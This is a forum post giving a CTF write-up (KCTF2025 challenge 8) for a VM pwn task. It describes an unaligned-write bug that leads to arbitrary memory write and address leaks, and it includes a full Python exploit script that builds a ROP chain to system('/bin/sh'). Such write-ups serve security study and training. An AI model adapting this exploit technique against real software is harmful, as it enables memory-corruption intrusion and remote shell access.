首页
社区
课程
招聘
[原创]KCTF2025 第八题 暗云涌动 WriteUp
发表于: 2025-8-30 14:57 275

[原创]KCTF2025 第八题 暗云涌动 WriteUp

2025-8-30 14:57
275

指令长度为8的vm,结构体还原后如下:

在store和load之前会校验地址的最高位是不是1,如果不是则跳过,所有对寄存器的操作都会判断结果是否在data段内或者stack段内,如果不在则会清空最高位。校验代码如下:

这里有一个漏洞,他只判断传入地址是否在这两个段内,没有判断是否是8字节对齐的,因此我们可以构造出一个错位的写,将被清空的最高位重新写为1,从而达成恶意地址写。

还有一个问题是如何泄漏地址?

sub_128B函数如果检测到地址非法,它会返回data段的基地址,唯一合法的情况是0x200000—0x201000和stack所在的堆地址。因此,我们可以通过从0x550000000320开始便利,如果返回的地址不是0x200000则可以说明已经爆破出堆地址。

后续就是通过vm_globle中的code字段的地址泄漏ld地址,然后从ld的bss段中找到一个libc的函数从而泄漏libc地址。

最后通过environ泄漏栈地址,将ROP链写入store函数返回处执行system即可。



```

#!/usr/bin/env python3

# Date: 2025-08-29 15:19:34

# Link: a4cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6d9L8$3c8W2M7X3W2U0K9@1y4Z5j5h3&6Q4x3V1k6H3N6$3&6U0L8r3V1`.

# Usage:

#     Debug : python3 exp.py debug elf-file-path -t -b malloc

#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *

cli_script()

set_remote_libc('libc.so-2.6')

io: tube = gift.io

elf: ELF = gift.elf

libc: ELF = gift.libc

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)

# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

def arg2reg(idx, data):

    return p8(5)+p8(idx)+p8(0)+p8(0)+p32(data)

def reg2reg(idx, idx1):

    return p8(4)+p8(idx)+p8(idx1)+p8(0)+p32(0)

def reg_xor_arg(idx, val):

    return p8(0x10)+p8(idx)+p8(0)+p8(0)+p32(val)

def jmp(idx, idx1, addr):

    return p8(0x18)+p8(idx)+p8(idx1)+p8(0)+p32(addr)

def pop(idx):

    return p8(3)+p8(idx)+p8(0)+p8(0)+p32(0)

def push_arg_with_head(val):

    return p8(2)+p8(0)+p8(0)+p8(0)+p32(val)

def push_arg(val):

    return p8(1)+p8(0)+p8(0)+p8(0)+p32(val)

def mul_arg(idx, val):

    return p8(0xb)+p8(idx)+p8(0)+p8(0)+p32(val)

def mul_reg(idx, idx1):

    return p8(0xa)+p8(idx)+p8(idx1)+p8(0)+p32(0)

def add_reg(idx, idx1):

    return p8(6)+p8(idx)+p8(idx1)+p8(0)+p32(0)

def add_arg(idx, val):

    return p8(7)+p8(idx)+p8(0)+p8(0)+p32(val)

def sub_reg(idx, idx1):

    return p8(8)+p8(idx)+p8(idx1)+p8(0)+p32(0)

def sub_arg(idx, val):

    return p8(9)+p8(idx)+p8(0)+p8(0)+p32(val)

def and_reg(idx, idx1):

    return p8(0xe)+p8(idx)+p8(idx1)+p8(0)+p32(0)

def and_arg(idx, val):

    return p8(0xf)+p8(idx)+p8(0)+p8(0)+p32(val)

def div_reg(idx, idx1):

    return p8(0xc)+p8(idx)+p8(idx1)+p8(0)+p32(0)

def div_arg(idx, val):

    return p8(0xd)+p8(idx)+p8(0)+p8(0)+p32(val)

def exit():

    return p8(0x19)+p8(0)+p8(0)+p8(0)+p32(0)

def store(idx, idx1):

    return p8(0x15)+p8(idx)+p8(idx1)+p8(0)+p32(0)

def load(idx, idx1):

    return p8(0x14)+p8(idx)+p8(idx1)+p8(0)+p32(0)

def jb(idx, idx1, val):

    return p8(0x17)+p8(idx)+p8(idx1)+p8(0)+p32_ex(val)

def je(idx, idx1, val):

    return p8(0x18)+p8(idx)+p8(idx1)+p8(0)+p32_ex(val)

heap_start = 0x550000000000

code = b''

# code += push_arg_with_head(0xdeadbeef)

# code += pop(0)

# code += add_arg(0, 8)

# code += mul_arg(0, 0x2A800000)

code += arg2reg(0, 0x800055)

code += arg2reg(1, 0x1000000)

code += arg2reg(2, 0x10000)

code += mul_reg(0, 1)

code += mul_reg(0, 2)

code += arg2reg(3, 0xabcd)

code += arg2reg(4, 0xf0000000)

code += mul_arg(4, 0x1000)

code += arg2reg(5, 0x328)

code += arg2reg(6, 0)

code += push_arg_with_head(0xdeadbeef)

code += pop(2)

code += add_arg(5, 0x1000)

code += reg2reg(1, 0)

code += add_reg(1, 5)

code += store(1, 3)

code += load(7, 2)

code += je(3, 7, 1)

code += jb(6, 4, 2) # jmp

code += store(2, 6)

code += jb(5, 4, -9)

code += push_arg_with_head(0xdeadbeef)

code += push_arg_with_head(0xdeadbeef)

code += reg2reg(0, 1)

code += store(0, 1)

code += sub_arg(1, 7)

code += arg2reg(3, 7)

code += and_arg(3, 0xffff)

code += mul_arg(3, 0x100000)

code += mul_arg(3, 0x100000)

code += mul_arg(3, 0x10000)

code += store(1, 3)

code += pop(2)

code += reg2reg(6, 0)

code += mul_arg(6, 0x100)

code += div_arg(6, 0x100)

code += sub_arg(6, 0x70)

code += arg2reg(5, 0x80)

code += store(2, 5)

# libc_base

code += load(3, 6)

code += add_arg(3, 0x3020)

code += reg2reg(6, 3)

code += store(2, 5)

code += load(3, 6)

code += sub_arg(3, 0x174960)

# environ

code += reg2reg(4, 3)

code += add_arg(4, 0x222200)

code += reg2reg(6, 4)

code += store(2, 5)

# stack

code += load(0, 6)

# rop 1

code += reg2reg(6, 0)

code += sub_arg(6, 0x158)

code += div_reg(7, 5)

code += store(2, 5)

code += reg2reg(1, 3)

# bin_sh

code += add_arg(1, libc.search(b'/bin/sh\x00').__next__())

code += store(6, 1)

# rop 2

code += reg2reg(6, 0)

code += sub_arg(6, 0x150)

code += store(2, 5)

code += reg2reg(1, 3)

# whatever

code += add_arg(1, 0)

code += store(6, 1)

# rop 3

code += reg2reg(6, 0)

code += sub_arg(6, 0x148)

code += store(2, 5)

code += reg2reg(1, 3)

# system

code += add_arg(1, libc.symbols['system'])

code += store(6, 1)

# rop 4

code += reg2reg(6, 0)

code += sub_arg(6, 0x160)

code += store(2, 5)

code += reg2reg(1, 3)

# pop rdi

code += add_arg(1, 0x000000000002a745)

code += store(6, 1)

code += exit()

# stop()

s(code)

sleep(1)

sl("ls")

sl("cat flag.txt")

sl("cat flag")

sl("cat /flag")

ia()

```



[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回